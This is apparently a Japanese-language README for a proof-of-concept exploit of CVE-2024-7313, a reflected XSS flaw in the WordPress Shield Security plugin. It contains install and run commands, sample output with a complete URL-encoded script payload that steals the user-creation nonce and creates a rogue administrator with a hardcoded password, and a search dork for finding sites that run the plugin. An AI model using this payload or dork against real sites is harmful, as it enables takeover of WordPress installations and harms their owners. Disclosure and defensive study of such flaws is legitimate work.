
WordPress プラグイン Shield Security < 20.0.6 を介した XSS による未承認の管理者アカウント作成のカスタム概念実証
このリポジトリには、WordPress 用 Shield Security プラグイン(20.0.6 未満のバージョンに影響)の反射型 XSS 脆弱性を悪用するために設計された Python PoC スクリプトが含まれています。この脆弱性(CVE-2024-7313)により、攻撃者はターゲットに合わせた悪意のあるリンクを作成でき、管理者がそのリンクをクリックすると、XSS を介して不正な管理者アカウントが作成されます。このスクリプトは脆弱なインストールを自動的に検出し、脆弱性を悪用するペイロードを生成します。
requests および beautifulsoup4 ライブラリ必要なライブラリを次のコマンドでインストールします:
pip install requests beautifulsoup4
git clone https://github.com/Wayne-Ker/CVE-2024-7313.git
cd CVE-2024-7313
python3 exploit.py <target_url>
例:
python3 exploit.py http://127.0.0.1
新しい管理者ユーザーの必要な詳細(ユーザー名、メールアドレス、名、姓)を入力すると、スクリプトがペイロード URL を生成します。この URL をブラウザに貼り付けると反射型 XSS 攻撃が実行され、WordPress サイトに新しい管理者ユーザーが作成されます。
#############################################################################
# #
# #
# ______ _______ ____ ___ ____ _ _ _____ _____ _ _____ #
# / ___\ \ / | ____| |___ \ / _ |___ \| || | |___ |___ // |___ / #
# | | \ \ / /| _| _____ __) | | | |__) | || |_ _____ / / |_ \| | |_ \ #
# | |___ \ V / | |__|_____/ __/| |_| / __/|__ _|_____/ / ___) | |___) | #
# \____| \_/ |_____| |_____|\___|_____| |_| /_/ |____/|_|____/ #
# #
# Shield Security Plugin Vulnerability (CVE-2024-7313) #
# Reflected XSS in WordPress Shield Security Plugin #
# Versions Affected: < 20.0.6 #
# Risk: High #
# Developed by: Wayne-Kerr #
# Published: August 7, 2024 #
#############################################################################
Shield Security version is vulnerable. Let's continue.
Enter username: fakename
Enter email: [email protected]
Enter first name: Haxor
Enter last name: test
Using hardcoded password: HaxorStrongAFPassword123!!
Generated XSS Payload URL: http://127.0.0.1/wp-admin/admin.php?page=icwp-wpsf-plugin&nav=dashboard&nav_sub=%3Cscript%3Evar%20xhrNonce%20%3D%20new%20XMLHttpRequest%28%29%3B%20xhrNonce.open%28%27GET%27%2C%20%27/wp-admin/user-new.php%27%2C%20true%29%3B%20xhrNonce.onload%20%3D%20function%28%29%20%7B%20if%20%28xhrNonce.status%20%3D%3D%3D%20200%29%20%7B%20var%20nonce%20%3D%20xhrNonce.responseText.match%28/name%3D%22_wpnonce_create-user%22%20value%3D%22%28%5Ba-zA-Z0-9%5D%2B%29%22/%29%5B1%5D%3B%20var%20xhr%20%3D%20new%20XMLHttpRequest%28%29%3B%20xhr.open%28%27POST%27%2C%20%27/wp-admin/user-new.php%27%2C%20true%29%3B%20xhr.setRequestHeader%28%27Content-Type%27%2C%20%27application/x-www-form-urlencoded%27%29%3B%20xhr.setRequestHeader%28%27Referer%27%2C%20%27http%3A//127.0.0.1/wp-admin/user-new.php%27%29%3B%20xhr.setRequestHeader%28%27Origin%27%2C%20%27http%3A//127.0.0.1%27%29%3B%20var%20params%20%3D%20%27action%3Dcreateuser%26_wpnonce_create-user%3D%27%20%2B%20nonce%20%2B%20%27%26_wp_http_referer%3D%252Fwp-admin%252Fuser-new.php%26user_login%3Dnick%26email%3Dnick%2540test.com%26first_name%3Dnick%26last_name%3Dtest%26url%3Dtest%26pass1%3DHaxorStrongAFPassword123%2521%2521%26pass2%3DHaxorStrongAFPassword123%2521%2521%26role%3Dadministrator%26createuser%3DAdd%2BNew%2BUser%27%3B%20xhr.send%28params%29%3B%20xhr.onload%20%3D%20function%28%29%20%7B%20if%20%28xhr.status%20%3D%3D%20200%29%20%7B%20console.log%28%27Admin%20user%20created%20successfully%27%29%3B%20window.location.href%20%3D%20%27http%3A//127.0.0.1/wp-admin/admin.php%3Fpage%3Dicwp-wpsf-plugin%26nav%3Ddashboard%26nav_sub%3Doverview%27%3B%20%7D%20else%20%7B%20console.log%28%27Error%20occurred%3A%20%27%20%2B%20xhr.statusText%29%3B%20%7D%20%7D%3B%20%7D%20else%20%7B%20console.log%28%27Error%20fetching%20nonce%3A%20%27%20%2B%20xhrNonce.statusText%29%3B%20%7D%20%7D%3B%20xhrNonce.send%28%29%3B%3C/script%3E
生成された XSS ペイロード URL にアクセスすると、エクスプロイトが実行され、ターゲットの WordPress サイトに新しい管理者ユーザーが作成されます。
ヘルプメニューは次のコマンドで表示できます:
python3 exploit.py -h
脆弱なプラグインを使用しているウェブサイトを特定するには、次の dork を使用します:
inurl:"/wp-content/plugins/wp-simple-firewall/"
これにより、Shield Security プラグインがインストールされているウェブサイトを見つけることができます。バージョン番号は一般公開されていないため、手動でのテストが必要になる場合があることに注意してください。
wp-login.php ページからの応答を調べることで、ターゲットの WordPress インストールが脆弱なバージョンの Shield Security プラグインを使用しているかどうかを確認します。このツールは教育目的のみを意図しており、許可された侵入テスト環境でのみ使用する必要があります。所有していないシステムへの不正アクセスまたは使用は違法です。作者はこのツールの誤用について一切責任を負いません。
このプロジェクトは MIT ライセンスの下でライセンスされています。